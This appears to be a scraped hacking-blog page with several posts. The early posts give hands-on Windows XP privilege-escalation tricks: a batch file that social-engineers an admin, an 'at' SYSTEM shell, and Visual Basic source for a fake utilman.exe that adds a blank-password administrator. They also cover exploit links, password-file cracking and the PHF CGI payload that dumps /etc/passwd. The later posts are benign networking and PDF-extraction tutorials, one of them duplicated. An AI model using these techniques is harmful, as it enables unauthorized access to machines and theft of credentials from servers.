Getting Administrator Privilages in xp

Method 1:-

- Open Notepad -> type "net localgroup Administrator yourusername/add" (without the quotes)
- Make the admin login to the computer -> make him to run the file -> Congrats you are admin

Method No. 2

- Login to your XP box as a non-priviliged user.
- Open up a command window (run cmd.exe)
- In that command window, have the system schedule launch another command window.
- type at 20:00 /intereactive "cmd.exe" -> in the command prompt -> it will launch a interactive cmd with system priviliages at 20:00 -> set the time just ahead of your clock
- When new window opens, kill explorer.exe in task manager.
- open explorer.exe
- Congrats, you're now running as the system user - you have more power than 'Administrator'!
- Now you can make yourself administrator by adding your name to Administrators group
- Type this in command prompt -> net localgroup Administrator /add

Method 3:-

- Boot in the Safe mode in XP
- Most of the times people have no password for the real Administrator account , they usually give admin privilages to another account
- Get in the administrator account

Method 4:-

- Boot from live CD of a linux/unix distro
-

Other methods

Exploits :- like

http://www.milw0rm.com/exploits/556 - jpeg of death
http://insecure.org/sploits/NT.get-admin.kernal.hole.html
http://www.milw0rm.com/exploits/475 - jpeg exploit

Registry Changes :-

1. Run Registry Editor (Regedt32.exe).

2. Perform the following steps on each of the registry keys
identified above:

A. On the Security menu, click Permissions.

B. Click "Replace Permissions on Existing Subkeys" so that it
is

selected.

C. Click Everyone, change the Type Of Access to Read, and then
click OK.

3. Exit Registry Editor.

from :- http://insecure.org/sploits/NT.startup_programs.bad_registry_perms.html

Resetting the admin password :-
With Boot Disk

following link can be useful -> http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

With Windows XP Boot CD

1. Place in windows XP CD and start your computer (it?s assumed here that your XP CD is bootable ? as it should be - and that you have your bios set to boot from CD)

2. Keep your eye on the screen messages for booting to your cd usually it will be ?Press any key to boot from cd?

3. Begin windows Repair process.

4. During the reboot, do not make the mistake of ?pressing any key? to boot from the CD again!

5. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.

From here you can run any windows command and you?ll have full administrator access. To reset password you can use ether of two ways:



1) Run NUSRMGR.CPL to get graphical interface

2) Run Compmgmt.msc to get Computer Management console. From there use Local User and Groups->Users

another method :-
Run Apps with admin privilages

try runnigh your code with Administrator privilages with command "runas"

eg :- runas /env /user:Administrator "c:WINDOWSNOTEPAD.EXE"

it will run notepad in Administrator privilages , similarly run your code in admin privilages

1 .use sudowin. This is an open source project distributed under the BSD License (which is a very permissive license ? an example about how permissive it is is the fact that for a long time parts of the Windows network stack were taken from an externally developed source code licensed under this license) written in .NET 2.0. What it does is that it gives administrative credentials to the programs you want to, but they will still run with your profile (meaning that they will see the same registry, the same desktop / my documents directory and so on). An other important differnce is that you must enter your password to elevate privileges. It also contains both a GUI and a command line component. To install it, take the following steps:
go to the website and download it (in a rather confusing move the download link is where it displays the version number, towards the upper middle of the page, currently it says 0.1.1-r95). If you didn't download anything from sourceforge.net until now, it will ask you to select a mirror.

2 .You'll need the .NET framework 2.0. You can download it from the microsoft site if you don't already have it (be sure to download the redistributable package not the software development kit). Here is a direct link if you are running a 32 bit Intel or AMD machine. If you already have the .NET framework 1.0 or 1.1, it will prompt you during the installation and offer you the possibility to download and install the 2.0 version without interrupting the installation.

3 . Install the software. Remember to do this from an account with administrative privileges (you can use the methods described earlier to run the installation with enough privileges).

4. Using a notepad with administrative privileges edit the sudoers.xml file located in the Server subdirectory of the install directory (this is Crogram Filessudowin by default or Crogram Files (x86)sudowin on 64 bit systems). Go to the users section and add the users you want to have sudo capabilities (remember to enter the names in the format of . If you are a home user, you can find out your complete name by entering whoami at the command prompt). Now go towards the end and enter the commands which you want to be able to run with elevated privileges. Also look around the file and change other settings to fir your need. Save the file.

5. Use the command runas /user:Administrator "cmd /c start lusrmgr.msc" (assuming that Administrator is a user with administrative privileges to which you know the password) to display the user management console (anyone else finds the name funny?). Go to each user you want to be able to perform sudo and add them to the Sudoers group which was created by sudowin during the installation (you can do this by right clicking on them, clicking properties, going to the "Member of" tab, clicking Add, writing Sudoers and clicking Ok).

6. Use the command runas /user:Administrator "cmd /c start services.msc", find the sudowin service and restart it.

Haven't tested it myself taken from :- http://hype-free.blogspot.com/2006/09/non-hacking-tutorial-on-elevating.html

One more Method:-

OK Here it is, Please post some input on what you think. Also im trying to figure out a better way to gain Access to the NTFS partition. Any input welcomed!

Gain SYSTEM/Administrative Access to Windows XP/2000

I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this

to work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive.

(Im stoned and its 3:15a.m. so i hope this makes sense)
Overview:
Windows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is

located at C:Windowssystem32utilman.exe for windows XP and C:WINNTSystem32utilman.exe for windows 2000. So all you have to do is make

your own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work.

If the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this

will take a few minutes depending on how fast the PC is.


First We need to make the program
I used Visual Basic 6, here is my source code that i used to create the administrative account:


#################################START###############################
Private Sub Form_Load()
Shell "net user NewAdmin " & """""" & " /add", vbHide
Pause (1)
Shell "net localgroup administrators NewAdmin /add", vbHide
Pause (1)
msgbox "Added Administrative User",16,"Hacked XP"
End
End Sub

Sub Pause(interval)
'Pauses execution
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

'#################################END###############################

Compile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank

password and then adds them to the Administrators Group.

Ok Now that we've made the program lets move on...

FAT32
1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe
2. Add the newly made Utilman.exe to the Floppy
3. Restart the computer with the floppy in it
4. After DOS loads type C: and press enter.
5. If it changes from A:/> to C:/> then your doing good
6. use this command: Copy A:utilman.exe C:windowssystem32utilman.exe press Y to overwrite the exsisting file
7. Restart the computer without the floppy in it
8. When it gets to the Login Screen Press the Windows Key + U
9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10

9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your

PC.
10. After pressing Windows Key + U then type in the username NewAdmin and push Enter. Thats It you now have administrative access to

your PC.


NTFS
Use a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)

LOL i hope that made sense

Read More

Getting the Password File Through FTP

Well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted password from a shadowed
password file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system.

1.The first step that you would take is to download or copy the file.

2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recommend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking program you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .

3. You then start up the cracker and follow the directions that it gives you.


The PHF Technique:

Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But still i thought that you should know about it. So I decided to include it.

The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works)

Read More

How To Change a Windows XP Limited User Account Into a Admin acc

PCLoginNow is an easy-to-use tool to reset local administrator and other accounts passwords on Windows system. No need to reinstall the system. It resets Windows passwords and Windows security settings instantly. All version of Windows are completely supported. It’s an incredible CD for Home users and Businesses. And most of all, it’s the most popular and safe solution for removing your Windows password until now.

Besides the abilities of resetting passwords, PCLoginNow can also help you maintain, change accounts policy setting and properties. You can easily upgrades an general account to administrator level, lock or unlock those accounts you don’t need anymore, And moreover, all of these are done without booting your tedious, time-consuming Windows System.

The most powerful feature PCLoginNow have is to support Syskey. SYSKEY is an optional feature since Windows NT 4.0 SP3. It is meant to protect against offline password cracking attacks so that the SAM database would still be secure even if someone had a copy of it. Even though the system registry is protected by Syskey, PCLoginNow can easily bypass this mechanism and reset the Windows passwords.

Only 4 simple steps are required to turn a limited user account into administrator.
1. Download PCLoginNow.

2. Burn the ISO image to a CD/DVD.

3. Boot up the computer with the CD/DVD.

4. Click the Next button when you see the message that says “PC Login Now! is ready to start, please click NEXT to continue…”

5. Select the Windows system that is found by PC Login Now program.

6. Select the user account that you want to edit, check “is Administrator” and click Next.
Change Limit User account to Administrator

7. Reboot and the user is now a local administrator of the computer.

I find this tool amazing because it can turn a user from zero into hero. I understand that some students are adventurous and would like to install or configure the system the way they like it but they cannot do it with a limited user account. Hence, they find a way to secretly upgrade their limited account to a local computer administrator and now they can do whatever they want. We cannot set a BIOS password because if the students entered the wrong security password for 3 times, it’ll be locked and we’ll have to contact HP support and get them to reset it.

Read More

Connecting two buildings to one broadband service

Two into one is possible.

By Ron Nutter, Network World (US)

I need to connect two buildings which are 100 metres apart. Both buildings are using wireless networks and one has an ADSL modem. I want to ensure both buildings can access the LAN to use shared resources and the Internet through the single ADSL connection. -- Charles 

Before getting started, look at the total number of users you will have on one connection and compare that against the speed of your DSL. Depending on your level of service, you may want to increase the speed if you can (this will depend on how far your location is from the central office providing you with DSL). See if you can get broadband service from the cable company. More cable companies are beginning to provide this type of service to companies. You may be able to get better Internet performance for the same money or just a little bit more than you are currently paying.

Given the short distance between the buildings, see if you can get a dry copper pair between them. This needs to be a line with no "conditioning" voltage or dial tone on it. If you can get this, look at companies such as Blackbox, which offer Ethernet and network extenders. They can use a copper pair to create what amounts to a private DSL connection between both ends to give you a pretty decent connection speed - and without the monthly cost of a second broadband connection for the second building (while putting in a second broadband connection is an option, it will also complicate the ability to share files and do other tasks normally associated with a LAN).

If getting a dry pair for a network connection or a second broadband connection isn't an option, consider using a wireless link between the buildings. You will need to see if there is a direct line of sight between buildings, preferably with no obstructions such as trees. Trees (or even tall bushes) can attenuate the signal between access points/bridges to the point where the wireless link could be intermittent.

If you do have a clear view between buildings, you will want to look at some type of external antenna to use for the inter-building link. You will need a directional antenna to concentrate the signal to where you want it to be, so you don't become an ISP to the neighbours. One place to look for antennas is www.hyperlinktech.com. They have a good assortment to choose from, as well as folks who can assist with choosing the best antenna for your application.  Once you have the antenna, you will need to look at using a bridge to connect the two locations. Most access points don't have bridging built in, so look at dedicated devices, which typically will cost you a bit more than your average access point. An alternative is to go with a Linksys WRT54-GL access point and open-source firmware such as DD-WRT, which includes a Wireless Distribution System function.

As with any wireless connection, I can't stress strongly enough the need to use as strong encryption as possible, to keep somebody from intercepting your wireless traffic. Since you already have wireless running in both buildings, you will need to select a different channel for your bridge connection. For example, if you are using channel 6 for your in-building wireless, you could use either channel 1 or 11 for the bridge connection.

Read More

How to connect two computers - Windows envirnoment

I know alot of you might read this and say that im just opying and pasting, its true but i am the author so i can post it where i want... I know this is not got to do with hacking or cracking but most of my articles will be educational hope it helps ;)



Okay so why write about it? Well because there was once a time that i needed to know how to connect two computers together and I couldn't find any articles to help me and no links on the internet that had it in detail, so this is for the people that might experience the same.

So let's begin!



Firstly you will need to know how exactly your two PC's are going to connect. So here it is. The computers will connect directly to each other therefore no hub will be needed. For those of you that don't know, a hub is just a device that connects computers in a network via UTP STRAIGHT THROUGH cables.



The reason why I wrote straight through in caps is because this is not what you will be using to connect the two computers. Instead you will be using cross over cables. You can get this from a local computer store for relatively cheap. Or if you feel like doing work then make it, its really easy. If you need any help, then a Google search on how to make crossover cables will help alot. The reason why I don't tell you how, because I'm telling you how to connect two computers not create crossovers.



Anyways that's all the requirements you'll need, just a cross over cable. (Please note; if you buying or making a cross over, make sure it's at least cat5e UTP cables.)

Now that we got that out of the way, let's get to work!



Step1

On each computer, right click on "My Computer". Click Properties and then click on the "Computer Name" tab. Where it says "Computer description:" Give each computer a description (It must not be the same). Now click on the "change" so that you can change the name of the computer and create a workgroup. In the name option give it the same name you gave it for its description and in the workgroup section type in "my first network" (REMEMBER: Names of the computers should NOT be the same, BUT Workgroup names should be EXACT the same on both) Now once you change these, you will be asked to restart the computer, so simply click yes or ok, whatever you are prompted with.



Step 2

After the computers are rebooted you will need to setup IP addresses for each computer. This is how:

On your desktop, look for the icon named "My Network Places". Now dpouble click it to open it.

Once open look on the left to see an option "view network connections" and click on it.

Now right click on local area network and click properties.

Where it says "This connection uses the following items:"; scroll down to "Iternet Protocol (TCP/IP)", click on it and click the properties button.

Now click on "Use the following IP address" and at "IP Address" type in an IP address e.g 192.168.0.1.

Although you do the same steps for both computers you must have different IP addresses so you can make the second computers IP address 192.168.0.2

After you set the IP addresses just press the tab button and you should get a number in the subnet mask as 255.255.255.0, then press ok and wait a while and now you almost done!



Step 3

This is the easiest part; just take you cross over cable and connect to each computers network card RJ45 port. That's it you now will be able to see the computers in "My Network Places". You may start sharing files!

Read More

How to Extract text from PDF, DOC, HTML, CHM, and RTF files

You can use Text-Mining-Tool to automatically extract text from a PDF file so that you can use it in any program freely. Or if you cannot open a PDF file because you do not have a PDF viewer installed, you can use this tool to extract the text and read the document.



Text Mining Tool is completely free and does not even require an installation, simply unzip it and run the program to use it.



text mining tool



Click the Open button and choose your file that you want to convert to text. Click ok and the large window below the buttons will eventually fill with all of the text extracted from the document.



extract text



Click Save to save the extracted text to your computer. You can also click Clipboard to copy the mined text to the Windows clipboard.



For convenience, the following hotkeys can be used to perform the operations:



* Open - F3 or O.

* Save - F2 or S.

* Clipboard - F5 or C.

* Exit - F10 or Escape.



You can also use the minetext console tool to create a batch script for extracting text from multiple files. This can be useful if you have a directory with a large number of files that need to have text extracted.

-



If you’re a web designer, this program can be very useful to grab the text from a Word document without getting all of the extra Microsoft Office styling code included with the text.



This is a very simple program that is very simple to use! It has one basic purpose and it does a good job! Enjoy!

Read More

How to Extract text from PDF, DOC, HTML, CHM, and RTF files

You can use Text-Mining-Tool to automatically extract text from a PDF file so that you can use it in any program freely. Or if you cannot open a PDF file because you do not have a PDF viewer installed, you can use this tool to extract the text and read the document.



Text Mining Tool is completely free and does not even require an installation, simply unzip it and run the program to use it.



text mining tool



Click the Open button and choose your file that you want to convert to text. Click ok and the large window below the buttons will eventually fill with all of the text extracted from the document.



extract text



Click Save to save the extracted text to your computer. You can also click Clipboard to copy the mined text to the Windows clipboard.



For convenience, the following hotkeys can be used to perform the operations:



* Open - F3 or O.

* Save - F2 or S.

* Clipboard - F5 or C.

* Exit - F10 or Escape.



You can also use the minetext console tool to create a batch script for extracting text from multiple files. This can be useful if you have a directory with a large number of files that need to have text extracted.

-



If you’re a web designer, this program can be very useful to grab the text from a Word document without getting all of the extra Microsoft Office styling code included with the text.



This is a very simple program that is very simple to use! It has one basic purpose and it does a good job! Enjoy!

Read More